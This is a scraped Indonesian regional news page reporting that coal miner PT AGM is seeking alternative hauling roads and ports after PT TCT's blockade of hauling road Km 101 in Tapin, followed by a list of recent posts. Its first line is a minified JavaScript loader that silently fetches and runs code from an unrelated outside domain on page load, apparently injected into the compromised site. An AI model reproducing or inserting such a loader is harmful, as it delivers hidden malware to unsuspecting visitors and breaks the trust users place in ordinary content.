(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Kabupaten Tapin

Imbas Blokade Jalan Hauling Km 101, PT AGM Cari Alternatif Pelabuhan


KANALKALIMANTAN.COM, RANTAU – PT Antang Gunung Meratus (AGM), Pemegang Kontrak Karya Pengusahaan dan Pertambangan Batubara (PKP2B) mencari solusi untuk bisa segera mengirimkan batubara kepada para pelanggan.

Langkah ini dilakukan PT AGM untuk memberikan kepastian penghasilan bagi ribuan sopir dan pekerja yang saat ini terdampak penutupan jalan hauling Km 101 Tapin oleh PT Tapin Coal Terminal (TCT).

“Kami sudah melakukan pembicaraan dan dalam proses kesepakatan untuk menggunakan jalan hauling menuju pelabuhan batubara dengan beberapa perusahaan. Prioritas kami adalah membantu pekerja terdampak blokade Km 101 di Tapin agar dapat segera mendapatkan penghasilan tanpa melakukan pelanggaran hukum,” jelas Arifin Zainul Fanani, Deputy Chief Operating Officer PT AGM, Senin (27/12/2021).

Meski demikian, Arifin mengakui pengiriman batubara melalui jalan hauling dan ke pelabuhan lain tidak mudah. Ia mengungkapkan, ada upaya dari pihak tertentu yang berusaha menghalangi AGM untuk menggunakan jasa perusahaan lain.

 

Protes pekerja batubara terkait penutupan jalan hauling Km 101. Foto : ist

Baca juga : Bantu Pemasaran UMKM, Dekranasda Kabupaten Balangan Buka Rest Area

Arifin menuturkan, awal bulan ini PT AGM sudah berbicara dengan salah satu perusahaan dan mereka menyatakan sanggup untuk infrastruktur logistik dipakai untuk mengirimkan semua kiriman. Akan tetapi selang beberapa hari kemudian, kesanggupan itu batal. Perusahaan tersebut hanya dapat menerima produk batubara kalori 3,400 dari Blok 4 saja dan untuk kalori 4,200 dari Blok 3 tidak diterima.

“Jadi ada upaya agar kami tidak bisa mengirimkan batubara dari tambang PT AGM ke pelanggan. Cara-cara seperti ini jelas-jelas merugikan pekerja, rakyat Tapin dan negara, karena membatasi produktivitas tambang pemegang kontrak PKP2B,” tuturnya.

Ia menambahkan, sebagai pelaku usaha nasional, AGM selama ini selalu menjalin kerja sama dengan melibatkan perusahaan lain dalam mengembangkan bisnis batu bara di Tapin. Pihaknya berpandangan, kerja sama dengan perusahaan lain dibutuhkan agar tambang di Tapin memberi manfaat yang semakin luas bagi ekonomi di daerah ini.

“Lewat kerja sama itu berarti ada banyak pelaku usaha yang terlibat, banyak masyarakat yang bekerja dan muncul sentra-sentra usaha kecil pendukungnya, sehingga ekonomi bisa tumbuh lebih cepat dan merata. Tapi, kerja sama itu tentunya harus dilakukan sesuai koridor bisnis dan hukum yang jelas, tidak ada pemaksaan apalagi pemalakan,” tambah Arifin.

 

Baca juga : Kapolres Banjar Minta Semua Pihak Kerja Keras Naikkan Persentase Capaian Vaksinasi

PT AGM akan selalu tunduk dan patuh terhadap setiap ketentuan hukum. Itu sebabnya, perusahaan tidak bisa melakukan kerja sama jika tidak ada kepastian hukum, termasuk dengan PT TCT. Apalagi saat ini AGM sedang menggugat TCT di PN Tapin terkait legalitas Perjanjian 2010.

“Dengan perjanjian yang sah dan sudah berjalan baik selama 10 tahun saja kami dipersoalkan. AGM tidak mungkin menjalankan kerjasama dengan pihak lain tanpa dasar dan kepastian hukum yang jelas,” tegasnya.

Ketua Perwakilan Asosiasi Tongkang, H Safei mengungkapkan blokade yang berlangsung sejak 27 November telah memberikan dampak yang signifikan terhadap usaha dan keluarganya. Lantaran tidak dapat lagi beroperasi, H Safei mengaku tidak sanggup membayar pinjaman kepada pihak bank.

“Tongkang-tongkang punya saya tidak lagi kerja. Saya sampai telepon orang kredit (bank) bahwa siap-siap untuk tidak bisa bayar. Kami ini tidak salah. Kami ini korban,” kata H Safei dalam rapat dengar pendapat yang diadakan DPRD Kabupaten Tapin pada 8 Desember lalu. (Kanalkalimantan.com/al)

Reporter : al
Editor : kk


Desy Arfianty

Recent Posts

25 Anggota PPK Kota Banjarbaru Dilantik, Langsung Bekerja Membentuk Sekretariat

KANALKALIMANTAN.COM, BANJARBARU - Komisi Pemilihan Umum (KPU) Kota Banjarbaru resmi melantik 25 orang anggota Panitia… Read More

2 jam ago

Kearifan Lokal Kalsel Harus Dibaca dan Ditulis Generasi Muda

KANALKALIMANTAN.COM, BANJARMASIN - Dinas Perpustakaan dan Kearsipan Provinsi Kalimantan Selatan (Kalsel) menggelar acara sosialisasi budaya… Read More

13 jam ago

Sekda HSU Sampaikan Raperda Pertanggungjawaban Pelaksanaan APBD 2023, Ini Angka Detailnya

KANALKALIMANTAN.COM, AMUNTAI - Sekretaris Daerah (Sekda) Hulu Sungai Utara (HSU) Adi Lesmana menyebut capaian target… Read More

15 jam ago

Permudah Kebutuhan Transaksi Jemaah Haji di Tanah Suci dengan BRImo

KANALKALIMANTAN.COM- Ibadah haji merupakan salah satu impian bagi umat Islam di seluruh dunia. Agar ibadah… Read More

15 jam ago

Bawaslu Banjarbaru Seleksi Panwascam Hanya di Empat Kecamatan

KANALKALIMANTAN.COM, BANJARBARU - Badan Pengawas Pemilihan Umum (Bawaslu) Kota Banjarbaru tengah merekrut Panitia Pengawas Kecamatan… Read More

16 jam ago

Pemko Banjarbaru Bentuk Tim Desk Pilkada 2024

KANALKALIMANTAN.COM, BANJARBARU - Pemerintah Kota (Pemko) Banjarbaru Provinsi Kalimantan Selatan (Kalsel) membentuk Tim Desk Pilkada… Read More

17 jam ago

This website uses cookies.